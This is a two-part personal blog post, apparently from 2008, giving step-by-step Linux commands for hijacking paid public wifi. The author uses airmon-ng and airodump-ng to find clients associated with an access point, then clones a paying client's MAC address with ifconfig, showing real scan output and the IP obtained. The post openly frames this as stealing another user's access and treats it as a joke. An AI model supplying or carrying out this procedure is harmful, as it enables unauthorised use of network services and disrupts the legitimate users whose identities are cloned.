MAC address stealing for public wifi use Part 2

Mostly just notes for myself, but since Ubuntu can be a little tricky sometimes maybe they will help some other poor soul too...

**Like in the previous post said:
run airodump and see who is associated to the WAP you want to access, those MAC's that are associated with the IP have obviously paid (or hijacked someones shit like you are about to do)

**Actually doing it:
in the upper right with your wireless bars, right click and uncheck the wireless box

**Take the interface down so you can change the MAC
root@segfault:/home/cg# ifconfig ath0 down

**Change the MAC
root@segfault:/home/cg# ifconfig ath0 hw ether 00:06:25:27:55:EB

**Bring the interface back up
root@segfault:/home/cg# ifconfig ath0 up

**Check to see if the MAC took correctly
root@segfault:/home/cg# ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:06:25:27:55:EB
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:3278 errors:0 dropped:0 overruns:0 frame:0
TX packets:616 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:859916 (839.7 KB) TX bytes:86127 (84.1 KB)

Now, in the upper right where is probably a computer with a red X, right click and enable wireless, you should sync up and get an IP. at this point run wireshark and see if someone else is using your MAC and IP, if you are associated and cant actually get anywhere that is probably the problem. Pick another MAC address and redo the steps.

MAC address stealing for public wifi use

Keeping with my theme of "you never know when you need to crack WEP" or be able to get internet access...

If you find yourself in a life or death situation and its imperative that you get your lappy up on the net to send that "help me!" email and they are using MAC authentication, meaning only registered MACs can access the net, you can do the following:

pull out your trusty Ubiquiti or orinoco card or whatever you use and put it in monitor mode.

root@ineedhelp! #airmon-ng start wifi0

it will tell you what interface it started, for me and the ubiquiti card it was eth2

root@ineedhelp! #airodump-ng eth2

You should see something like the below:

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
00:C0:02:3A:C4:32, 2008-02-03 17:46:43, 2008-02-03 17:47:03, 11, 54, OPN , , , 2, 11, 5, 172. 16. 17. 42, 9, INTESA9-A,
00:C0:02:3A:AF:0E, 2008-02-03 17:46:41, 2008-02-03 17:47:07, 11, 54, OPN , , , 1, 11, 12, 172. 16. 16.225, 8, INTESA15,
00:02:2D:AB:1D:4E, 2008-02-03 17:46:40, 2008-02-03 17:47:10, 4, 11, OPN , , , 7, 26, 72, 172. 16. 16. 76, 8, INTESA13,

Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
00:12:17:72:5F:18, 2008-02-03 17:46:41, 2008-02-03 17:47:09, -1, 36, 00:02:2D:AB:1D:4E,
00:12:17:98:00:C5, 2008-02-03 17:46:44, 2008-02-03 17:46:58, -1, 3, 00:02:2D:AB:1D:4E,
00:12:17:97:D8:2D, 2008-02-03 17:46:46, 2008-02-03 17:46:46, -1, 1, 00:02:2D:AB:1D:4E,
00:12:17:98:39:6F, 2008-02-03 17:46:50, 2008-02-03 17:46:50, -1, 1, 00:02:2D:AB:1D:4E,
00:06:25:27:55:EB, 2008-02-03 17:46:47, 2008-02-03 17:46:59, 8, 4, 00:C0:02:3A:AF:0E,
00:12:17:A4:65:45, 2008-02-03 17:46:56, 2008-02-03 17:47:06, 12, 4, 00:02:2D:AB:1D:4E, INTESA13
00:12:17:98:2B:6F, 2008-02-03 17:46:48, 2008-02-03 17:46:50, 11, 2, (not associated) , INTESA9-A
00:12:17:98:44:4B, 2008-02-03 17:46:40, 2008-02-03 17:47:02, 9, 8, 00:02:2D:AB:1D:4E,
00:12:17:98:2B:6E, 2008-02-03 17:47:00, 2008-02-03 17:47:01, 0, 2, (not associated) , INTESA10

Go ahead and pick someone associated, thats going to be a valid MAC address for you to steal....er borrow.

00:12:17:98:44:4B, 2008-02-03 17:46:40, 2008-02-03 17:47:02, 9, 8, 00:02:2D:AB:1D:4E,

00:12:17:98:44:4B <-- Client MAC

00:02:2D:AB:1D:4E <-- WAP MAC

from there its a simple:

root@ineedhelp! #ifconfig eth2 down
root@ineedhelp! #ifconfig eth2 hw ether 00:12:17:98:44:4B
root@ineedhelp! #ifconfig eth2 up

now you should be handed a valid IP

root@ineedhelp! #ifconfig eth2
eth2 Link encap:Ethernet HWaddr 00:12:17:98:44:4B
inet addr:172.16.16.56 Bcast:172.16.16.255 Mask:255.255.255.0
inet6 addr: fe80::a800:4ff:fe00:a04/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188860 errors:1128 dropped:1128 overruns:0 frame:1128
TX packets:65680 errors:1183 dropped:1 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:44299003 (42.2 MB) TX bytes:11928926 (11.3 MB)
Interrupt:3 Base address:0x5100

now you can send your emergency email, make that emergency blog post, or just search the net for the answer to your emergency...